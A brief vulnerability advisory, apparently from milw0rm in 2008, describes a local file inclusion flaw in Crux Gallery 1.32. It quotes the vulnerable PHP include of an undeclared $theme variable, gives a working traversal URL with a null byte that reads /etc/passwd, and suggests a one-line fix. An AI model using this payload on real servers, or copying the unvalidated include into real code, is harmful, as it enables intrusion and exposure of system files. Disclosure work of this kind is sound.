Crux Gallery 1.32 - 'theme' Local File Inclusion

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  [?] Crux Gallery <= 1.32 Local File Inclusion Vulnerability
  [?] Discovered On: 01/10/2008
  [*] PHP.ini 
  [*] Magic_Quotes_Gpc = Off
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  (index.php) // Greetz -> Osirys and darkjoker
  14. $m = $_GET['m'];
  15. $p = $_GET['p'];
  16. $dir = $_GET['dir'];
  17. require_once("main.php");
  18. require_once("themes/".$theme."/theme.php"); 
  $theme  isn't declared, so you can include any file.
  [*] http//[path]/index.php?theme=../../../../../etc/passwd%00
  [*] How To Fix: declare $theme
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# milw0rm.com [2008-10-01]